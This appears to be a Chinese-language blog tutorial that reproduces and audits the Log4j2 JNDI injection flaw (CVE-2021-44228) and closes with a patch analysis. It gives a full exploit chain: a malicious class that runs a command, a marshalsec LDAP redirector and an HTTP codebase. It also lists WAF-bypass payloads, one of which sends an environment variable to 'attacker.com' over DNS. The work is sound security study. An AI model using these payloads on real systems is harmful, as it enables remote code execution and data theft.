如何分析Log4j2 CVE-2021-44228 JNDI注入及递归解析的完整攻击链?

摘要:代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析 目录 环境搭建 漏洞复现 编写测试代码 构造恶意 class 文件 启动 LDAP 转发器 请求流程 使用 JNDI 工具一键利用 代码
代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析 目录 环境搭建 漏洞复现 编写测试代码 构造恶意 class 文件 启动 LDAP 转发器 请求流程 使用 JNDI 工具一键利用 代码审计 payload 入口追踪 MessagePatternConverter:关键转折点 substitute:变量解析核心 resolveVariable:触发入口 Interpolator:协议分发 触发条件与常见入口 WAF 绕过原理 常见绕过 payload 补丁分析 总结 环境搭建 JDK:jdk8u65 Log4j2:2.14.1 pom.xml 依赖: <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> </dependencies> 添加好依赖之后效果如下: 然后通过 Maven 下载源码,方便后面调试: 漏洞复现 编写测试代码 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jTest { private static final Logger logger = LogManager.getLogger(Log4jTest.class); public static void main(String[] args) { // 高版本 JDK(如 8u121+)默认禁止远程对象加载,调试时需手动开启 // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 模拟用户输入的恶意字符串 String payload = "${jndi:ldap://127.0.0.1:1389/Exploit}"; // 触发漏洞 logger.error("用户输入数据: {}", payload); } } 构造恶意 class 文件 Exploit.java: import java.io.IOException; public class Exploit { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } } 执行 javac Exploit.java 编译成 class 文件,然后在 class 文件所在目录启动一个简单的 HTTP 服务: python -m http.server 5566 启动 LDAP 转发器 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389 参数说明: -cp:指定类路径(classpath) marshalsec.jndi.LDAPRefServer:启动 LDAP 转发器(还有 marshalsec.jndi.RMIRefServer 可以启动 RMI 转发器) "http://172.16.250.1:5566/#Exploit":远程恶意类的下载地址(带引用锚点) #Exploit:# 后的部分在 LDAP 协议中会被解析为引用的 classFactory 名称,受害者最终会请求 /Exploit.class 文件,不用 # 不能正常启动(规范写法) 1389:LDAP 服务监听的本地端口 请求流程 整个攻击链的请求顺序如下: 受害服务器 攻击机 | | |---① LDAP 查询请求 ------------->| (marshalsec:1389) | | |<--② 返回 JNDI Reference --------| (codebase=http://攻击机:5566/) | | |---③ HTTP 下载 Exploit.class ---->| (HTTP服务:5566) | | |<--④ 返回恶意类字节码 -----------| | | | (加载并执行恶意代码) | 受害服务器 .lookup("ldap://攻击机IP:1389/Exploit") 请求攻击机 LDAP 服务 攻击机 LDAP 服务收到查询后返回一个 javax.naming.Reference 对象,包含 codebase 地址(http://172.16.250.1:5566/)和类名(Exploit) 告诉受害服务器去 http://172.16.250.1:5566/ 这里找 Exploit 文件 受害服务器解析该引用后,自动从 codebase 地址下载 Exploit.class 文件,然后实例化并执行恶意代码 测试成功,弹出计算器: HTTP 服务日志中可以看到 GET /Exploit.class 的请求记录。 注意事项 1. 把恶意代码写到静态块里更好 static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } 原因: 静态块:当类被 Class.forName() 加载时就会执行,在实例化之前 构造方法:必须等到 newInstance() 创建对象实例时才会执行 静态块的好处:即使实例化失败,恶意代码也能执行,而且只执行一次,避免重复操作。 2. class 文件不能放在项目能找到的地方 如果放在项目的 classpath 里,JVM 会优先从本地加载该类,根本不会发起 HTTP 请求,也就没有起到远程下载的效果了。 3. 包名问题 如果 Exploit 类声明了包名(如 package com.attack;),受害服务器会按完整类名 com.attack.Exploit 去 HTTP 服务器上请求 com/attack/Exploit.class,路径包含目录结构。 最简单稳妥的做法:不声明包名,使用默认包,这样请求的就是 /Exploit.class,减少路径错误。 使用 JNDI 工具一键利用 上面是自己手动写 class 实现的,不过现在的 JNDI 利用工具有自带执行命令的功能,更加方便: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 172.16.250.1 修改一下 payload: String payload = "${jndi:ldap://172.16.250.1:1389/jxjkff}"; 代码审计 复现完了,接下来开始审计。有几个我比较关心的问题: 触发点是 logger.error(),看着并不是一个特殊的函数,那会不会还有其他的触发方式? payload 的写法 ${jndi:ldap://172.16.250.1:1389/jxjkff},特别是被 ${} 包裹的这个结构,Log4j 是从哪里开始解析它的? 不同版本的 LDAP 和 RMI 之间有什么区别? 带着这几个问题开始跟调用链。 payload 入口追踪 payload 被完整传入了 error() 方法: 进入类里面,message 是字符串,p0 是 payload,没有问题: 进入 logIfEnabled 方法,做了一个日志级别判断: 进入 logMessage 方法,这里创建了一个对象来存储 message 和 p0 的信息: final Message msg = messageFactory.newMessage(message, p0); 可以看到只是单纯的存储数据,没有对字符串处理,payload 放在了 stringArgs 这个数组里: 然后经过 logMessageSafely >> logMessageTrackRecursion >> tryLogMessage >> log(),目前还是没有对 payload 处理,进入另一个 log() 方法: 到了 loggerConfig.log 这里,创建了一个 logEvent 对象: 这个对象里有个变量,是字符串和 payload 的组合: 然后 logEvent 传入 log(logEvent, LoggerConfigPredicate.ALL) 里的 event: 进入 processLogEvent: 然后带着对象进入了 callAppenders: controls[i].callAppender(event) >> callAppenderPreventRecursion(event) >> callAppender0(event) >> tryCallAppender(event) >> appender.append(event) >> tryAppend(event) >> directEncodeEvent(event): MessagePatternConverter:关键转折点 进入 getLayout().encode(event, manager): final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder()); toText >> toSerializable >> formatters[i].format(event, buffer),然后是一直的循环处理。 当来到第八轮循环的时候,进入了 MessagePatternConverter.format,这正是对 ${} 里面的数据做提取的地方: 经过 ((StringBuilderFormattable) msg).formatTo(workingBuilder): 输入的数据被提取出来和前缀消息拼接到了 workingBuilder: 接下来有一段关键逻辑: if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { // 在 workingBuilder 里面找 "${" 子串 if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { // 把输入的信息赋值给 value // offset 是固定的值,意思是 workingBuilder 前面的时间等信息不算, // 只会保留我们输入的信息 final String value = workingBuilder.substring(offset, workingBuilder.length()); // 设置了 workingBuilder 的长度,使 workingBuilder 里没了我们输入的信息 workingBuilder.setLength(offset); // 把 config.getStrSubstitutor().replace(event, value) 处理完的信息拼接回 workingBuilder workingBuilder.append(config.getStrSubstitutor().replace(event, value)); 步入时点击选择 replace 函数: source 就是输入的值: 用户输入数据: ${jndi:ldap://172.16.250.1:1389/jxjkff} substitute:变量解析核心 然后进入了 substitute 方法,它的作用是递归地查找并替换字符串中的 ${...} 占位符。 核心能力: 识别 ${xxx} 支持嵌套 ${${a}} 支持默认值 ${a:-b} 支持递归解析 支持转义 逐段看一下代码: final StrMatcher prefixMatcher = getVariablePrefixMatcher(); // 匹配字符 ${ final StrMatcher suffixMatcher = getVariableSuffixMatcher(); // 匹配字符 } final char escape = getEscapeChar(); // 获取转义符,默认是 $,比如 $${xxx} 会变成 ${xxx},里面不会被解析 在字符串里面找 ${: final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); 如果找到了: if (pos > offset && chars[pos - 1] == escape) { // 这是判断 ${ 前面有没有 $,也就是是不是 $${ ,是的话就是转义,直接跳过 } 如果没有转义,则开始对 ${ 后的字符处理: if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) { // found a nested variable start nestedVarCount++; pos += endMatchLen; continue; } 这是对外层的 ${ 匹配 },找到最外层的 } 边界,方便把中间的内容递归传入 substitute 继续处理。 如果找到后 nestedVarCount == 0,意思是已经找到了最外层的 }(因为找到一个 ${ 就加一,找到一个 } 就减一),就开始对 ${} 里面的内容处理了: String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); // 提取当前最外层的 ${} 里的内容给 varNameExpr if (substitutionInVariablesEnabled) { final StringBuilder bufName = new StringBuilder(varNameExpr); substitute(event, bufName, 0, bufName.length()); varNameExpr = bufName.toString(); } 如果 substitutionInVariablesEnabled(允许递归,默认是允许的),就把 varNameExpr 放入 substitute 再次递归,最后出来的是没有 ${} 的内容,因为里面的内容会被当做变量处理。 接着是对 :- 键值对处理的逻辑: if (valueDelimiterMatcher != null) { ... } 假设 varNameExpr 的值是 "host:-localhost": 代码会遍历每个字符,找到 ":-" 这个分隔符(valueDelimiterMatcher 默认匹配 :-) 将分隔符前面的部分 "host" 作为 varName,后面的部分 "localhost" 作为 varDefaultValue 如果 varNameExpr 中没有 :-,则整个字符串就是 varName,varDefaultValue 保持 null 所以原本的 payload ${} 被拆成了: varName = jndi:ldap://172.16.250.1:1389/jxjkff varDefaultValue = null if (priorVariables == null) { priorVariables = new ArrayList<>(); priorVariables.add(new String(chars, offset, length + lengthChange)); } // handle cyclic substitution checkCyclicSubstitution(varName, priorVariables); priorVariables.add(varName); 这里有一个防止无限递归的机制,不过处理依然有限,只能防止 ${a} → ${a} 这种死循环,对安全没有实质帮助。 resolveVariable:触发入口 最后到了触发 payload 的入口: String varValue = resolveVariable(event, varName, buf, startPos, endPos); 这个方法相当于一个调度员,会根据 varName 去寻找和执行对应任务,返回值为 varValue: protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } return resolver.lookup(event, variableName); } 接受变量名,交给 resolver 处理。 Interpolator:协议分发 resolver.lookup(event, variableName) 进入了 Interpolator.lookup: final int prefixPos = var.indexOf(PREFIX_SEPARATOR); // PREFIX_SEPARATOR 是固定值 ":",这个会匹配第一个冒号前的内容 有冒号就进入 if (prefixPos >= 0) 的判断里面: final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); final String name = var.substring(prefixPos + 1); 把 jndi:ldap://172.16.250.1:1389/jxjkff 拆成了: prefix = jndi name = ldap://172.16.250.1:1389/jxjkff 接下来是分发机构,会检测各种 prefix 的信息: final StrLookup lookup = strLookupMap.get(prefix); 总共有 12 种,获取对应的实例。没有任何过滤,不管传入什么都会来匹配。"jndi" 对应 JndiLookup。 String value = null; if (lookup != null) { value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); } 如果找到了对应的实例,就调用它的 lookup 方法,传入 name 和可选的 event 参数。 对于 JNDI 注入,lookup 是 JndiLookup,其 lookup(event, name) 内部会执行 JndiLookup.lookup(name),发起 JNDI 查询: 这里就是执行 JNDI 查询的地方,整条链走完了。 触发条件与常见入口 所有日志级别(info、error、warn 等)只要启用了,且日志消息中包含用户可控的字符串,都可能触发漏洞。 入口类型 示例代码 HTTP 参数 logger.info("param: {}", request.getParameter("input")); HTTP Header logger.error("User-Agent: {}", request.getHeader("User-Agent")); Cookie logger.warn("Cookie: {}", cookie.getValue()); 请求体 logger.debug("Body: {}", IOUtils.toString(request.getReader())); 文件名 logger.info("Upload: {}", file.getOriginalFilename()); Lookup 类型一览: Lookup 类型 作用 利用示例 upper 转换为大写 ${${upper:j}ndi},先转为 J,再拼接成 Jndi :-(Default Lookup) 如果键不存在,则返回默认值 ${::-j}${::-n}${::-d}${::-i},直接逐个字符拼出 jndi env 获取系统环境变量的值 ${env:JNDI:-jndi},如果环境变量 JNDI 不存在,则返回默认值 jndi sys 获取 Java 系统属性的值 ${sys:LDAP:-ldap},获取系统属性值或默认值 main 获取应用程序的 main 参数 可用于注入参数值,但在攻击中不如其他方式常用 ctx 获取 ThreadContext 映射中的值 攻击者若能控制上下文(例如通过 HTTP Header),则可注入恶意值 date 格式化当前日期或时间 理论上可用于构造特殊字符串,但在实际攻击中很少见 log4j 获取 Log4j 相关的配置信息 通常用于获取配置目录等信息,可辅助攻击 WAF 绕过原理 为什么 ${${lower:j}ndi:...} 能绕过 WAF? 核心逻辑: 第一层 substitute 识别到 ${...} 它发现变量名里还有 ${,于是递归调用 substitute 处理内部的 ${lower:j} 内部解析完变成 j,返回给外层 外层拼接出 jndi,再次解析,最终触发 JndiLookup WAF 看到的是 ${${lower:j}ndi:...},过滤的关键词 jndi: 并不直接出现在字符串里,但 Log4j 在解析时会先把内层的 ${lower:j} 解析为 j,拼出完整的 jndi:,再去查 JNDI。 总结一下 payload 是否触发: Payload 示例 是否触发 JNDI 原因 ${jndi:ldap://...} ✅ 是 前缀 jndi: 匹配 JndiLookup ${JNDI:ldap://...} ❌ 否 前缀区分大小写(jndi 小写) ${ldap://...} ❌ 否 无 jndi: 前缀,被当作普通变量 ${abc:xyz} ❌ 否 前缀 abc 未注册,返回空 ${sys:user.name} ❌ 否(但可读系统属性) 不同前缀,不涉及 JNDI jndi: 前缀后可以跟 ldap://、rmi://、dns://、iiop:// 等协议,原理相同。 在组合这些元素时,需要注意大小写语法。${lower:Jndi} 的结果是 jndi,而 ${upper:jndi} 的结果是 JNDI。 常见绕过 payload # 字符拆分绕过 ${::-j}${::-n}${::-d}${::-i} # 大小写转换绕过 ${${lower:j}ndi} ${${upper:j}ndi} # 多级嵌套绕过 ${${lower:j}${lower:n}${lower:d}${lower:i}} # 环境变量默认值绕过 ${${env:BARFOO:-j}ndi} # 逐字符默认值绕过 ${${:-j}${:-n}${:-d}${:-i}} # 通过 dnslog 外带数据(常用于探测) ${jndi:dns://${env:USER}.attacker.com} # Unicode 编码绕过(\u0024\u007b 解码后为 ${) \u0024\u007b jndi:ldap://...} 补丁分析 Log4j 的修复分了好几个版本,一步一步收紧: JDK 版本因素:高版本 JDK(8u191、11.0.1 之后)默认禁止 JNDI 加载远程类(trustURLCodebase 默认为 false),可以阻止基础的利用,但绕过方式依然存在(如利用本地 Gadget) 2.15.0:限制了 JNDI 协议,默认只允许 java://,禁用了 ldap:// 等远程协议,但还存在 DoS 漏洞(CVE-2021-45046) 2.16.0:彻底禁用 JNDI 功能,MessagePatternConverter 中直接设置 noLookups = true 2.17.0:进一步修复递归解析问题,限制了 substitute 的递归深度,防止 DoS 最根本的修复思路就两个:要么禁用 Lookup,要么禁用 JNDI。 总结 整条漏洞链走下来,核心其实很清晰: 用户可控的字符串进入了 logger.*() 方法,成为日志消息的一部分 MessagePatternConverter.format() 检测到消息中包含 ${,触发变量替换逻辑 substitute() 递归解析 ${...} 占位符,允许嵌套,没有任何白名单限制 resolveVariable() → Interpolator.lookup() 根据前缀分发到对应的 Lookup 处理器,12 种协议全部支持,无过滤 JndiLookup.lookup() 发起 JNDI 查询,加载并实例化远程恶意类,RCE 达成 这个漏洞的危害程度这么高,本质上是因为一个"方便开发者的功能"(变量插值 + JNDI Lookup)在设计上完全没有考虑用户输入可控的场景。写代码的时候日志里打一个 {} 太常见了,几乎所有人都中招。 参考:Apache Log4j2 官方 Security 公告,marshalsec、JNDI-Injection-Exploit 工具。